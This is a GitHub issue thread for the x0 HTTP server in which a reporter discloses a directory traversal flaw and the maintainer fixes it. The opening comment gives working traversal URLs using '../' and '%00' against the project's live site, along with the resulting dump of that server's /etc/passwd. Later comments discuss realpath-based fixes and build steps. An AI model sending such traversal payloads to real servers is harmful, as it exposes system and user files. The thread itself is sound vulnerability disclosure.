christianparpart / x0

Xzero HTTP Application Server
MIT License
110 stars 16 forks source link

Directory Traversal #23

Closed ghost closed 11 years ago

ghost commented 11 years ago

Hi,

http://xzero.io/../../../../../../../etc/passwd%00 http://xzero.io/../../../../../../../etc/passwd http://xzero.io/../../../../../../../etc/hosts%00 http://xzero.io/../../../../../../../etc/hosts

Just run a request on this url (not in your web browser) and see the output. Example for /etc/passwd:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
adm:x:3:4:adm:/var/adm:/bin/false
lp:x:4:7:lp:/var/spool/lpd:/bin/false
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
news:x:9:13:news:/var/spool/news:/bin/false
uucp:x:10:14:uucp:/var/spool/uucp:/bin/false
operator:x:11:0:operator:/root:/bin/bash
portage:x:250:250:portage:/var/tmp/portage:/bin/false
nobody:x:65534:65534:nobody:/var/empty:/bin/false
man:x:13:15:added by portage for man:/usr/share/man:/sbin/nologin
sshd:x:22:22:added by portage for openssh:/var/empty:/sbin/nologin
puppet:x:101:249:added by portage for puppet:/var/lib/puppet:/sbin/nologin
mail:x:8:12:added by portage for mailbase:/var/spool/mail:/sbin/nologin
postmaster:x:14:248:added by portage for mailbase:/var/spool/mail:/sbin/nologin
mysql:x:60:60:added by portage for mysql:/dev/null:/sbin/nologin
ntp:x:123:123:added by portage for ntp:/dev/null:/sbin/nologin
postfix:x:207:207:added by portage for postfix:/var/spool/postfix:/sbin/nologin
tcpdump:x:102:122:added by portage for tcpdump:/dev/null:/sbin/nologin
cron:x:16:16:added by portage for cronbase:/var/spool/cron:/sbin/nologin
ngrep:x:103:120:added by portage for ngrep:/dev/null:/sbin/nologin
uptimed:x:104:119:added by portage for uptimed:/dev/null:/sbin/nologin
dnsmasq:x:105:118:added by portage for dnsmasq:/dev/null:/sbin/nologin
trapni:x:1000:1208::/home/trapni:/bin/bash
haproxy:x:106:115:added by portage for haproxy:/dev/null:/sbin/nologin
munin:x:177:114:added by portage for munin:/var/lib/munin:/sbin/nologin
nginx:x:107:113:added by portage for nginx:/dev/null:/sbin/nologin
liza:x:2604:2604::/home/liza:/bin/bash
subby:x:1804:1804::/home/subby:/bin/bash
newrelic:x:108:112:added by portage for newrelic-sysmond:/dev/null:/sbin/nologin
hacluster:x:109:110:added by portage for cluster-glue:/var/lib/heartbeat:/dev/null
mongodb:x:110:109:added by portage for mongodb:/var/lib/mongodb:/sbin/nologin
staging:x:2605:2605::/srv/staging.ialu.de:/bin/bash
messagebus:x:111:108:added by portage for dbus:/dev/null:/sbin/nologin
oneadmin:x:112:106:added by portage for opennebula:/var/lib/one:/bin/bash
postgres:x:70:70:added by portage for postgresql-server:/var/lib/postgresql:/bin/bash
teamspeak3:x:113:105:added by portage for teamspeak-server-bin:/dev/null:/sbin/nologin
apache:x:81:81:added by portage for apache:/var/www:/sbin/nologin
ialu:x:2606:2606::/srv/ialu.de:/bin/bash

Some new web servers doesn't matter of security, but this is really important. This is seriously dangerous and someone can read system files and much more on the targeted website.

I tried to install the web server on my vm and I doesn't succeed, a tutorial would be welcome in the wiki :) I really appreciate the concept of a pure C++ web server, and that's why I help you today !

ghost commented 11 years ago

I also suggest to strip this character from url before processing anything: %00

Apache and others web servers understand badly this character and return 500, 400 or 404 error with basic design (even if you have set Error Document)

https://github.com/Sabri https://github.com/Sabri/%00

christianparpart commented 11 years ago

Hey Sabri,

so this is it. Many many thanks for your invest however, I really appreciate it and would like to ensure you that security is of course a matter of mine. :+1:

%00 - regarding this issue I think it is easy to just return a 400 (that can be hooked up in the config, btw). I will do that.

/../ - regarding directory traversal I am not yet sure whether my first idea is really the best one, so here I go: I would just like to prevent any usage of ".." as directory component within the request path. Would that be sufficient?

I could use realpath(3) and ensure that the path is within the document root, but that would involve more implicit syscalls by realpath(3) - what do you think?

Lastly, ... I am really happy to read that you're interested in trying our x0, and in order to help you, I'd need the actual error you ran into and/or the Linux distribution & version you chose, so I can run the installation on a VM using that distro myself and help out this way.

However, I recently just added some Debian (Ubuntu) package generation files. https://github.com/trapni/x0/blob/master/debian/control So if it's dependencies you where missing, have a look into this file, or even the others to see how I created .deb packages out of this repo. If you know more about Debian/Ubuntu, I'd be really happy if you would have a look over these files since I am not a real Debian/Ubuntu user, however (we use Ubuntu in our datacenters, that's why I created these packages).

Regarding dependencies, I am currently in progress of dropping Boost in order to reduce number of dependencies.

So long, Christian Parpart.

ghost commented 11 years ago

Yeah, remove /../ and use realpath. I found something good on StackOverflow but it's in PHP, I merged solutions and that is the script:

$path = $_GET['path'];
$basepath = '/foo/bar/baz/';
$realBase = realpath($basepath);

$userpath = $basepath . $path;
$realUserPath = realpath($userpath);

if ($realUserPath === false || strpos($realUserPath, $realBase) !== 0) {
    // Directory Traversal!
} else {
    if (strpos($path, '../') !== false ||
        strpos($path, "..\\") !== false ||
        strpos($path, '/..') !== false ||
        strpos($path, '\..') !== false) {
        // Directory Traversal!
    } else {
        // The request is probably safe.
        if (file_exists(dirname(__FILE__) . DIRECTORY_SEPARATOR . $path)) {
            // Send the file.
        } else {
            // Handle the case where the file doesn't exist.
        }
    }
}

Source: http://stackoverflow.com/questions/4205141/preventing-directory-traversal-in-php-but-allowing-paths

And, I think is better to completely strip %00 from any request

christianparpart commented 11 years ago

Hey, thanks, I will first have to get rid of my current local changes, and then will fix the security flaws - hopefully this weekend already. :)

But would you mind answering me the distribution/version question and compilation issue you had?

ghost commented 11 years ago

I would like to know where all dependencies are needed for x0 because i don't find them and apt-get give me an error when I write the name

Update: Sorry, I use Debian Squeeze Update: I think the problem is maybe because I've installed an old version of gcc

ghost commented 11 years ago

Okay it's my vm, I download ubuntu to try again ^^'

christianparpart commented 11 years ago

Your precise reason for the error is, that you do not seem to have "make" tool installed.

Try the following:

# Installs required dependencies
sudo apt-get install make cmake gcc libcppunit-dev libgnutls28-dev libgcrypt11-dev \
    libmysqlclient-dev libev-dev zlib1g-dev libbz2-dev llvm-3.0-dev pkg-config \
    libpcre3-dev libfcgi-dev libev-dev

# You will have LLVM 3.0 installed on stock Ubuntu 12.04 LTS, so patch CMakeLists.txt here:
sed -i -e 's/\(LLVM_SUPPORTED_VERSION \)"3.1"/\1"3.0"/' CMakeLists.txt

# now run cmake to bootstrap build
cmake -DCMAKE_BUILD_TYPE=debug -DCMAKE_INSTALL_PREFIX=/opt/x0 \
    -DLLVM_CONFIG_EXECUTABLE=/usr/bin/llvm-config-3.0 \

# Ensure installation target prefix
sudo mkdir /opt/x0 && sudo chown ${USER} /opt/x0

# Now compiling should just work.
make && make install

I tested the above procedure with a stock Ubuntu 12.04 LTS. Things to note might be, that I do develop on Gentoo Linux primarily and try to keep it working on others of course, too, but as you can see, I am running against LLVM 3.1 and Ubuntu just provides 3.0, that's why I did the sed-action. :)

ghost commented 11 years ago

Ok, I'll let you know as soon as Ubuntu is installed !

ghost commented 11 years ago

50% ! (I have somes problems with download)

christianparpart commented 11 years ago

no need to hurry, I'm about to go to the restaurant and cinema with my girlfriend now anyways.

Cheers ;)

ghost commented 11 years ago

Okay, have a nice evening !

ghost commented 11 years ago

The vulnerability is maybe located here: https://github.com/trapni/x0/blob/master/src/x0d.cpp#L129

ghost commented 11 years ago
# Installs required dependencies
sudo apt-get install make cmake gcc libcppunit-dev libgnutls28-dev libgcrypt11-dev \
    libmysqlclient-dev libev-dev zlib1g-dev libbz2-dev llvm-3.0-dev pkg-config \
    libpcre3-dev libfcgi-dev libev-dev g++

Dany say to me you missed g++ compiler in required dependencies

cmake works, I'll let you know for compilation

Update: you also miss sudo for make and make install

christianparpart commented 11 years ago

the missing sudo in front of make install was on purpose, on dev systems I usually always install into /opt/FOO to not pollute the default install. on real systems however, /usr or /usr/local should be used.

christianparpart commented 11 years ago

https://github.com/trapni/x0/commit/99afea88c5804b1a3fdc6e3dbd97441ca55c31e2 fixes directory traversal outside document root.

ghost commented 11 years ago

I want try if the vulnerability is still here, but you maybe check this issue before I can #27

ghost commented 11 years ago

Fixed